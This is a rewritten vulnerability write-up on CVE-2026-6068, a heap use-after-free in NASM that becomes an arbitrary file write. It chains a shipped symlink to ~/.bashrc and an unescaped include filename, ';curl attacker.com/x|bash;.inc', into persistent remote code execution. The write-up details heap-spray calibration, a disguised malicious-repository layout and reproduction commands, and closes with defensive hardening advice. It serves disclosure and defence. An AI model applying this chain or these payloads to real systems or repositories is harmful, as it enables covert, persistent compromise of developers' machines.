Attribution. This is an original English rewrite based on the writeup “CVE-2026-6068 – From Heap UAF to Persistent RCE in NASM” by breakingbad on Project SEKAI (sekai.team, published 18 May 2026). All research, code, screenshots and the disclosure timeline are the original author’s work. Both screenshots and every code listing are reproduced verbatim at their original reading positions; surrounding prose is rewritten in our own words. Proof-of-concept code lives in the author’s public Gist.
Disclosure status. Disclosed with the knowledge and permission of CERT/CC as case VU#420416. Reported to the NASM maintainers in March 2026; the vendor never responded, even via CERT/CC. The vulnerability was still unpatched at the time of the original writeup. Verify your local NASM build against the latest upstream release before relying on any mitigation below.
Executive Summary
CVE-2026-6068 is a heap use-after-free in NASM (the Netwide Assembler), discovered by Project SEKAI’s breakingbad in the parser for the -@ response-file option. On its own a UAF in an assembler sounds like, at most, a denial-of-service curio. The twist that makes this a serious bug is that the dangling pointer is reused as a filename for fopen() — not as a function pointer or vtable — via the depend_file global that NASM uses for Makefile-style dependency output. Reclaiming the freed tcache slot with attacker-controlled bytes gives an arbitrary file write, with no ASLR / NX / PIE / RELRO / stack-canary bypass required.
Chained with a shipped symlink that redirects that write into ~/.bashrc, plus NASM’s quote_for_pmake() failing to escape ;, |, >, < and & in dependency-format output, the bug becomes a fully deterministic, persistent, supply-chain RCE: a benign-looking repository that compiles cleanly, passes its tests, and quietly overwrites the victim’s ~/.bashrc the first time they run make. The payload fires on the next terminal session — minutes, hours, or days later — by which point there is no causal link in the victim’s mind back to NASM. The walkthrough below maps the root cause, the exploit primitive, the heap-spray calibration, the symlink and metacharacter chain, the final RCE, and the reasons mitigations don’t bite.
Introduction
NASM is one of the most widely-used x86 assemblers on Linux — pulled in by countless build systems any time hand-written assembly meets a C toolchain. breakingbad found a heap use-after-free in NASM’s response-file parser that initially looked like the usual UAF: good for a crash, maybe a CVE, not much else. The vulnerability was reported to the NASM maintainers, who never responded; CERT/CC took over coordination, also could not reach the vendor, and a CVE was assigned during that process. While the issue stayed unpatched, deeper analysis showed it was much worse than a crash — it turned into a fully deterministic, persistent RCE that requires no memory-protection bypasses and leaves almost no visible trace.
The threat model is supply-chain: a malicious Git repository that genuinely works as advertised. The code compiles, the tests pass, the library functions correctly. The exploit rides silently alongside legitimate functionality. The victim runs make once, NASM runs once, and their ~/.bashrc is silently overwritten. The RCE doesn’t trigger until the next new terminal — minutes, hours, or days later. By then the causal link back to NASM is invisible.

Here is a brief GIF demonstrating the attack:

~/.bashrc silently rewritten, persistent RCE on the next shell. Source: original article on Project SEKAI.The Bug
Root Cause
In asm/nasm.c, the function process_respfile() handles NASM’s -@ option, which reads command-line arguments from a file:
static void process_respfile(FILE *rfile, int pass)
{
char *buffer, *p, *q, *prevarg;
buffer = nasm_malloc(ARG_BUF_DELTA); // ARG_BUF_DELTA = 128
prevarg = nasm_malloc(ARG_BUF_DELTA);
// ... reads file into buffer, parses arguments ...
// When it encounters "-MD":
// process_arg() sets: depend_file = q;
// where q points INSIDE buffer
nasm_free(buffer); // buffer freed
nasm_free(prevarg); // depend_file is now dangling
}
The global pointer depend_file is set to point into the heap-allocated buffer. When the function returns, buffer is freed, but depend_file still holds the stale pointer.
Later in main(), after the assembly phase completes:
emit_dependencies(depend_list);
Which internally does:
deps = nasm_open_write(depend_file, NF_TEXT); // fopen() with dangling pointer
This is a classic UAF: allocate → point into it → free → use the dangling pointer as a filename for fopen().
Why This Matters
Most UAFs give you a crash or maybe an info leak. This one gives you arbitrary file write — because the dangling pointer is used as a filename, not as a function pointer or vtable. No need to redirect execution, no need to bypass ASLR or NX. The program’s own fopen() call does exactly what we want.
Exploitation
Step 1: Understanding the Heap Layout
Both buffer and prevarg are malloc(128), which gives us 0x90-sized chunks (128 + 16 metadata, aligned to 16). After freeing:
tcache[0x90]: prevarg → buffer → NULL
depend_file points to the user data region of buffer. The tcache overwrites the first 8 bytes with the next pointer (NULL), so depend_file initially reads as an empty string.
To exploit this, we need to reclaim buffer’s chunk with attacker-controlled content. If we can make NASM allocate a 0x90 chunk and fill it with our string, depend_file will point to our string, and fopen() will open whatever file we choose.
Step 2: Heap Spray + GDB Debugging to Determine Exact Offset
Note. The drain count is independent of the glibc version — it depends only on the NASM build. The values below were calibrated against the latest NASM version as of 2026-05-16. Other NASM versions have not been tested and may require a different drain count. If you are unsure which build the target uses, a broad heap-spray (try 7, 8, 9, 10, …) will eventually hit the right slot.
During the assembly phase, NASM processes label definitions. Each label triggers nasm_strdup(label_name), which calls malloc(strlen(name) + 1). If we craft labels of length 120:
strlen("label_120_chars") + 1 = 121
malloc(121) → chunk size = (121 + 8 + 15) & ~15 = 0x90
Same bin as the freed buffer. The exploit first uses heap spraying (mass label allocation) to confirm that the freed buffer chunk can be reclaimed via labels. Then, by attaching GDB and inspecting the tcache state after process_respfile() returns, breakingbad determined the exact number of drain labels needed to consume every intermediate 0x90 entry before the payload label lands precisely on buffer.
The calibrated sequence is:
- 8 drain labels: consume other 0x90 chunks in tcache (from intermediate allocations)
- 1 skip label: absorbs an off-by-one entry
- 1 payload label: this
nasm_strdup()reclaimsbuffer
; drain labels — each is exactly 120 characters
drain_00_AAAAAA...A: ; consumes tcache entries
drain_01_BBBBBB...B:
; ... 8 total ...
drain_07_HHHHHH...H:
; skip
skip_pre_payload_ZZZ...Z:
; PAYLOAD — this strdup() reclaims the freed buffer
simd_vector_math_avx512_aligned_buffer_processing_internal_loop_unrolled_kernel_optimized_x86_64_sse41_v2_build_config_h:
After this, depend_file points to our payload label name.
This is 100% deterministic. Tcache has no randomization. ASLR is completely irrelevant — we never need to know any addresses.
Step 3: Symlink for Arbitrary Path Write
depend_file now equals our label name. When NASM calls fopen("simd_vector_..._config_h", "w"), we need this to write to ~/.bashrc.
Simple: place a symlink in the project directory.
ln -sf ~/.bashrc 'simd_vector_math_avx512_...(120 chars)'
fopen() follows the symlink. NASM writes its dependency output directly into ~/.bashrc. The victim’s original .bashrc is gone.
This symlink is part of the malicious repository — it ships with git clone. The victim doesn’t create it; it’s already there when they check out the project. Alternatively, the Makefile can create it on the fly before invoking NASM — one extra ln -sf line hidden among build steps, and almost nobody reads Makefiles that carefully.
Step 4: Shell Metacharacter Injection
NASM writes dependency output in Makefile format:
output.o : input.asm dependency1 dependency2 ...
The function quote_for_pmake() is responsible for escaping special characters in filenames:
static char *quote_for_pmake(const char *str) {
for (p = str; *p; p++) {
switch (*p) {
case ' ': case 't': // escaped
case '$': case '#': // escaped
case '\': // tracked
default:
// ; > < | & — ALL PASS THROUGH UNESCAPED
n++;
break;
}
}
}
It escapes spaces, tabs, $, #, backslashes. But semicolons, pipes, redirects, and ampersands are not escaped. These are all shell operators.
So we %include a file with shell metacharacters in its name:
%include ";curl attacker.com/x|bash;.inc"
This file exists in the project directory (contains ; empty — a valid asm comment). NASM processes it normally. The filename appears verbatim in the dependency output:
output.o : input.asm ;curl attacker.com/x|bash;.inc
This is now the content of ~/.bashrc.
Step 5: RCE
Next time the victim opens a terminal, bash sources ~/.bashrc:
output.o : input.asm ;curl attacker.com/x|bash;.inc
Bash interprets this as:
output.o→ “command not found” (silent):→ builtin no-opinput.asm→ “command not found” (silent);→ command separatorcurl attacker.com/x|bash→ downloads and executes attacker’s script
Persistent RCE. Every terminal open re-triggers the payload.
Full Attack Scenario
Attacker’s Repository
fast-simd-math/
├── Makefile # Option A: ln -sf hidden here before nasm call
│ # Option B: just calls nasm, symlink shipped in repo
├── README.md
├── LICENSE
├── src/
│ ├── math_kernel.asm # heap spray labels + %include buried in 3000 lines
│ └── ;curl attacker.com/x|bash;.inc # empty file, filename is the payload
├── simd_vector_...(120 chars) → ~/.bashrc # Option B: symlink shipped in repo
└── tests/
└── test_basic.c
Victim’s Experience (can be)
$ git clone https://github.com/someone/fast-simd-math.git
$ cd fast-simd-math
$ make
nasm -@ .build.resp -f elf64 src/math_kernel.asm -o output.o
gcc -shared -o libmath.so output.o
$ ./tests/test_basic
All tests passed!
$ # Everything looks normal. No warnings, no errors.
$ # ... later, opens a new terminal ...
$ # → ~/.bashrc sourced → attacker's command executes
Zero crash. Zero warnings. Valid output file produced. Victim has no idea.
Why Memory Protections Don’t Matter
| Protection | Bypassed? | Why |
|---|---|---|
| ASLR | N/A | No addresses needed — tcache is index-based |
| NX/DEP | N/A | No shellcode executed |
| Stack Canary | N/A | No stack corruption |
| PIE | N/A | No code pointers involved |
| RELRO | N/A | No GOT overwrite |
The entire chain operates through application logic:
UAF (memory bug)
→ string pointer corruption (app logic)
→ fopen() with attacker-controlled path (normal API)
→ fprintf() with unescaped metacharacters (normal API)
→ bash sources the file (OS behavior)
→ RCE
Reproduction
Requirements
- Linux x86-64
- glibc 2.26+ (tcache required)
- Latest NASM version (the drain count is calibrated for the latest NASM build; it is independent of glibc version)
Quick Test
mkdir /tmp/nasm_rce && cd /tmp/nasm_rce
cp /path/to/nasm ./nasm #it's my experiment's path.
# Generate PoC files
python3 gen_poc.py --drain 8 --shell-inject ';id>rce_proof' -q
# Create the metachar file and symlink
echo '; empty' > ';id>rce_proof'
ln -sf /tmp/pwned_bashrc '<any_120_char_label_matching_payload_in_input.asm>'
# Run NASM
./nasm -@ resp.txt -f elf64 input.asm -o output.o
# Verify arbitrary file write
cat /tmp/pwned_bashrc #just my experiment's path.you can write in truly bashrc
# → output.o : input.asm ;id>rce_proof
# Verify RCE
bash /tmp/pwned_bashrc 2>/dev/null
cat rce_proof
# → uid=1000(user) gid=1000(user) ...
Timeline
- 2026-03: Reported UAF to NASM maintainers
- 2026-03 ~ 2026-05: No response from NASM. CERT/CC contacted, also unable to reach vendor.
- 2026-04: CVE assigned by CERT/CC
- 2026-05: RCE exploit developed. CERT/CC notified of severity upgrade.
- As of writing: Still unpatched.
Proof of concept code and exploit scripts are available in the author’s public Gist.
Key Takeaways
- A UAF on a filename string is an arbitrary file-write primitive. Triage UAFs by where the freed pointer is later dereferenced, not just by “UAF severity”. Pointer-as-filename is functionally an arbitrary-write gadget — mitigations that target code execution don’t fire.
- Tcache + identical chunk sizes = deterministic reclaim. 128-byte allocations land in the 0x90 bin; any later
malloc(121)(e.g. a 120-character NASM label) re-uses the slot. With a calibrated drain count the exploit is 100% reproducible across runs. - NASM’s
quote_for_pmake()is incomplete. It escapes$,#, whitespace, and backslashes, but leaves;,|,>,<and&intact — turning Makefile dependency output into an arbitrary-command sink when the output is later sourced by a shell. - Symlinks inside checked-out repos are first-class exploit primitives. A symlink shipped with the source tree (or created by a single hidden
ln -sfin a 3000-line Makefile) redirects any controlled-pathfopen()into~/.bashrc,~/.ssh/authorized_keys, or anything else writable as the user. - The chain operates entirely through legitimate APIs. ASLR, NX, PIE, RELRO, stack canaries — none of them gate
fopen()orfprintf(), so none of them block this exploit. - Persistence-by-shell-init hides causality. The victim’s
~/.bashrcfires later, in a fresh terminal, with no remaining link tomakeor NASM. Detection has to anchor on the file-modification event, not on the moment of execution. - Vendor unresponsiveness still ends in disclosure. The author followed the CERT/CC coordinated-disclosure path; when the vendor never replied, CERT/CC assigned the CVE and approved the public writeup. Unpatched-but-public is the realistic state.
Hardening Checklist
- Track NASM upstream for the CVE-2026-6068 fix. Subscribe to the NASM project’s release channel and any distro security feed that ships it; pin builds and re-build from the patched tarball as soon as one appears. Until then, treat untrusted
.asm+ response-file (-@) input as code-execution material. - Don’t run NASM on untrusted source trees as your interactive user. Build inside an unprivileged container or a sandboxed user with no write access to your home directory — the exploit’s blast radius is exactly “files this UID can write”.
- Audit repos for symlinks before building.
find . -type l -lson any freshly cloned third-party project. Reject any symlink whose target resolves outside the project tree (anything starting with/,~, or escaping via..). - Reject filenames containing shell metacharacters in build inputs. Static lint at clone-time / CI for filenames matching
[;|&<>`$]— legitimate source trees almost never need them, and they are the carrier for this exploit. - Watch
~/.bashrc,~/.zshrc,~/.profile,~/.bash_profilefor writes from non-shell processes. A file-integrity monitor (auditdwatchrule,inotify, or osquery) that alerts on any write to these dotfiles from a child ofmake/gcc/nasmwould catch this exact chain in flight. - Disable Makefile-style dependency generation when not needed. If your build doesn’t consume NASM’s
-MDdependency output, stop emitting it — the entire bug class lives in that output path. - Treat the
tcacheas exploit infrastructure during code review. Code that round-trips a heap allocation through a long-lived global pointer (with the alloc going out of scope before the global is reused) deserves a hard look on every refactor, not just on the first audit. - Plan for vendor non-response. If you operate downstream of a small open-source project, have a contingency for “upstream never patches”: pin to a known-good version, carry a local patch, or be ready to fork. CERT/CC coordination doesn’t guarantee a fix.
Conclusion
CVE-2026-6068 is a textbook example of how a “low-severity” memory bug becomes a high-impact RCE when the dangling data lands somewhere unexpected — in this case, a filename argument to fopen(). Combine that with deterministic tcache reclaim, a Makefile-format output path that does not escape shell metacharacters, and a benign-looking repository that ships a single innocuous symlink, and you get a fully reproducible, no-mitigation-bypass-needed supply-chain RCE that fires hours after the user’s last interaction with the build. Until upstream NASM ships a fix, sandbox the assembler, lint third-party trees for symlinks and metacharacter-bearing filenames, and watch the shell init dotfiles.
References
- Original writeup — breakingbad, Project SEKAI: CVE-2026-6068 – From Heap UAF to Persistent RCE in NASM
- Author’s PoC Gist: gist.github.com/BreakingBad6/e1403ee302013836ebb87913be63d398
- NASM project home: nasm.us
- CERT/CC vulnerability notes: kb.cert.org/vuls (case VU#420416)
Full credit for the vulnerability research, exploitation chain, disclosure timeline, and screenshots goes to breakingbad at Project SEKAI. Read the original at sekai.team.

